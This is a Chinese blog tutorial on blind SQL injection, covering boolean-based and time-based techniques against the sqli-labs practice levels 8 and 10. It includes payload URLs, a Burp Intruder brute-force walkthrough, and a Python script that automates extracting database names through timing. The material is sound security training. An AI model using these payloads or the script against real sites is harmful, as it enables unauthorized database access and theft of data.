SQL注入学习笔记2

Posted by 404player on October 11, 2020

我们来继续SQL注入的学习,第一次的笔记我们学习的是SQL union联合注入和报错注入,这两种注入都有明显的数据回显。也就是说,我们通过注入让数据库的信息回显在页面中。在真实的渗透过程中,有时候我们碰到的网站常常不会输出这些信息,而遇到这种不回显的页面,我们又怎么进行SQL注入呢?

这次笔记的介绍的就是两种不回显SQL注入,布尔注入与时间注入。


布尔注入

布尔值就是用于判断真和假的一个逻辑变量,布尔注入,顾名思义,就是通过返回页面的真假识别我们SQL注入语句的正确性。

a. 应用场景

布尔注入的应用首先要求页面存在SQL注入漏洞,但是注入条件比union注入更苛刻一些,因为页面不会回显数据,也不会回显错误信息。

页面会返回True或者False,来帮助我们判断我们注入的SQL语句判断是否正确。

当然,所谓的True或者Flase,并非就真的是直接返回真和假,是正常的页面和非正常的页面,下面会通过sqli-labs-master靶场的注入来详细说明。

b. 布尔盲注方法

left()  
  
# 注入语句:left((select database()),1)>'s'  
  
# 函数说明: left(a,b)从左侧截取a的前b位  
  
regexp  
  
# 注入语句 select user() regexp '^r'  
  
# 函数说明: 正则表达式的用法,regexp为匹配user()的正则表达式  
  
like  
  
# 注入语句: select user() like 'ro%'  
  
# 函数说明:与regexp类似,使用like进行匹配  
  
substr()  
  
# 注入语句:ascii(substr((select database()),1,1))=98  
  
# 函数说明: substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将某个字符串转换为ascii值  
  
mid()  
  
# 注入语句:ord(mid((select database()),1,1))=114  
  
# mid()的作用与substr()相似

c. 靶场演示

此次实验演示的靶场是sqli-labs-master第8关

我们先来看看靶场环境的正常页面

http://localhost/sqli-labs-master/Less-8/?id=1

页面显示如下

然后加个引号,返回的就是错误页面

http://localhost/sqli-labs-master/Less-8/?id=1

现在我们就可以开始布尔注入了,首先尝试一下使用left方法对数据库名进行注入。

http://localhost/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='a'--+

页面返回Wrong页面,这就说明,数据库名的第一个字母并不是a

因为我们已知sqli-labs的数据库为security,所以我们直接测试。

http://localhost/sqli-labs-master/Less-8/?id=1' and left((select database()),1)='s'--+

果然返回了True页面,继续尝试第二个字母。

http://localhost/sqli-labs-master/Less-8/?id=1' and left((select database()),2)='e'--+

返回了True页面,依次类推,可以暴破出数据库名。

要进一步的进行注入,只需要把select database()语句换成其他语句,就可以对表名,列名以及数据进行暴破。语句可以通过Hackbar自动化生成。

当然暴破总不能纯手工,那样耗费时间精力,效率不高。可以使用BurpsuiteIntruder模块进行半自动化注入。这个后面会讲到。

接下来我们探究一下substr在注入中使用,很多人问为什么要将截取的数据转化为ascii值。这是因为很多网站对SQL注入是做了防护的,而ASCII码可以很好地对'进行绕过

上图是一张ascii码的表,数据库各种元素的名字通常只有数字与字母组成,所以我们进行暴破的时候只需要从48到122之间暴破就可以了。

http://localhost/sqli-labs-master/Less-8/?id=1' and  ascii(substr((select database()),1,1))=115--+

d.使用burpsuite进行暴破

burpsuite用于暴破的模块是Intruder

首先我们要进行手工注入,抓包,然后数据包丢到Intruder模块中。

将默认的position(也就是§这里面的字段§)给clear掉,然后选择要暴破的位置,点击add

然后在IntruderPayloads设置中对暴破的字段进行设置。

如上图所示,因为要暴破的字段只包含数字和字母,所以选择Brute forcer,每次只暴破一个字符,所以下面的空都设置为1

点击Start attack,进行暴破。

根据返回数据包的长度,判断正确的字符。

然后再对下一位字符进行暴破,如下图所示

以此类推,通过对单个字符的暴破,可以在较短时间内完成对数据库的注入。

e. 源码分析

if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	//echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

观察上面这段代码,若$row值为真,页面显示You are in............,反之则不显示,这就是正常页面与非正常页面的区别,布尔盲注正是通过这些区别,来判断我们注入的SQL语句是否判断正确。


时间盲注

现实注入环境中,我们还会遇到这样一种情况:语句执行后并不能通过页面的内容来判断。但是俗话说得好,没有条件我们就创造条件。这种情况下,我们可以通过构造语句,使得语句正确与错误的时候响应时长不一样,然后根据页面的响应时长,来判断信息,这就是时间盲注。

a. 注入条件

首先代码肯定要存在SQL注入漏洞的。

在不回显数据的情况下,我们并不能通过页面的内容来判断注入语句的真假。

这个时候,我们可以尝试使用时间盲注。

b. 时间盲注方法

其实盲注的大方向跟布尔注入没什么区别,只是加了个if语句来判断真假,这就是所谓的创造条件。

# 方法一  
  
if(left((select database()),1)='a',0,sleep(3))  
  
# 语句说明: if(a,b,c)意思为若a为真。则执行b,反之执行c。通过语句我们可以知道当left语句为真,直接执行,否则延时3秒执行。当我们看到页面响应有延时的时候,证明判断错误。  
  
# 方法二  
  
if(ascii(substr((select database()),1,1))=115,0,sleep)  
  
# 语句说明: 原理与上一种方法相同

c. 靶场演示

此次实验环境是sqli-labs的第十关。

先进行环境测试,运用正常语句,观察正常页面。

http://192.168.43.53/sqli-labs-master/Less-10/?id=1

加上引号,观察页面。

http://192.168.43.53/sqli-labs-master/Less-10/?id=1'

可以看出,哪怕我们加上引号引发错误,页面还是没有变化,意味着我们无法通过页面的信息来判断注入语句的对错,这正是时间盲注的运用环境。

使用left函数截取判断。

http://192.168.43.53/sqli-labs-master/Less-10/?id=1" and if(left((select user()),1)='a',0,sleep(3))--+

通过开发者工具观察其相应时间

可以看出来,由于用户名第一位字母并不是a,语句执行sleep(3),导致相应时间长达5秒,至于多出来的两秒,那是因为还有其他因素导致的时间延迟。

我们来尝试一下正确的语句,知道当前用户名为root@localhost,构造语句

http://192.168.43.53/sqli-labs-master/Less-10/?id=1" and if(left((select user()),1)='r',0,sleep(3))--+

返回正常响应,两秒。通过验证,错误的注入语句会比正确的正确语句响应延迟3秒,时间盲注成功应用!!!

值得注意的一点是,我刚开始测试的时候使用的是'单引号,导致测试怎样都不成功。这个时候就要尝试换成"双引号测试,因为页面无法返回异常,所以在刚开始测SQL的时候是无法看出来的,这点是需要注意的。

c. Python脚本实现自动化注入

通过上面布尔注入的学习,我们知道可以通过burpsuite完成时间盲注对于数据库的暴破,但是每一次都去观察响应时间并做出判断,效率实在低下。又因为我们创造出了时间延迟这一个不难捕捉到的条件,可以考虑写一个Python脚本来实现自动化注入。

脚本代码如下

__author__ = '404player'

import requests
import time

url = "http://127.0.0.1/sqli-labs-master/Less-10/?id=1"

database = 'select schema_name from information_schema.schemata'

column = 'select column_name from information_schema.columns where table_name="users"'

table = 'select table_name from information_schema.tables where table_schema=database()'

result = ''

for i in range(1,30):
    for j in range(48,122):
        payload = '" and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
        stime = time.time()
        r = requests.get(url+payload)
        etime = time.time()
        if etime-stime >= 2:
            result +=chr(j)
            print(result)
            break

测试效果如下

代码的原理其实就是代入查询数据库的语句,并通过逐个遍历进行ASCII码的单字符暴破。

d. 源码分析

if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysql_error());
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

由源码可知,无论注入语句正确与否,页面都返回You are in...........,这种情况下,无法通过页面信息判断,使用时间盲注可以很好得解决这个问题。